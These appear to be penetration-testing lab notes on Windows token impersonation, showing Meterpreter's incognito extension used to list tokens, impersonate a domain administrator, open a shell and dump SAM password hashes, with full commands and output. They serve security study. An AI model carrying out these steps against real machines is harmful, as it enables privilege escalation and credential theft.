TOKEN IMPERSONATION

What are tokens?

- Temporary keys that allow you access to a system/network without having to provide credentials each time you access a file. Think cookies for computers.

Two types:

- Delegate – Created for logging into a machine or using Remote Desktop
- Impersonate – "non-interactive" such as attaching a network drive or a domain logon script

https://www.offensive-security.com/metasploit-unleashed/fun-incognito/

IMPERSONATE TOKEN IS TO IMPERSONATE A USER THAT LOGIN TO THAT MACHINE FOR EXAMPLE ADMIN

FOR EXAMPLE, IMPERSONATE A USER AFTER GAINING A SHELL

**RUN THE INCOGNITO. **

INCOGNITO IS A METASPLOIT MODULE ALLOWS YOU TO IMPERSONATE USER TOKENS WHEN SUCCESSFULLY COMPROMISING A SYSTEM.

```
meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > help

Core Commands
=============

  Command           Description
  -------           -----------
  ?                 Help menu
  background        Backgrounds the current session
  bg                Alias for background
  bgkill            Kills a background meterpreter script
  bglist            Lists running background scripts
  bgrun             Executes a meterpreter script as a background thread
  channel           Displays information or control active channels
```

RUN THE LIST_TOKENS -U

LIST THE TOKEN OF EACH USER IN THE MACHINE. -U IS USERS

```
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
Font Driver Host\UMFD-2
MARVEL\Administrator
MARVEL\fcastle
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1
Window Manager\DWM-2

Impersonation Tokens Available
========================================
No tokens available
```

***RUN IMPERSONATE_TOKEN ***

```
meterpreter > impersonate_token marvel\administrator
[-] User token marveladministrator not found
meterpreter > impersonate_token Marvel\Administrator
[-] User token MarvelAdministrator not found
meterpreter > impersonate_token MARVEL\Administrator
[-] User token MARVELAdministrator not found
meterpreter > impersonate_token MARVEL\\Administrator
[+] Delegation token available
[+] Successfully impersonated user MARVEL\Administrator
meterpreter >
```

ADD 2 BACKSLASH

```
meterpreter > shell
Process 5804 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19044.1889]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
marvel\administrator

C:\Windows\system32>
```

RUN REV2SELF TO REVERT TO OLD SELF

```
C:\Windows\system32>whoami
whoami
marvel\administrator

C:\Windows\system32>^C
Terminate channel 2? [y/N]  y
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: Access is denied.
meterpreter > rev2self
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Frank Castle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4e92c9d3cb8233befe6be911702022c3:::
meterpreter >
```

NOTE: THE TOKENS WILL EXIST UNTIL THE COMPUTER IS REBOOTED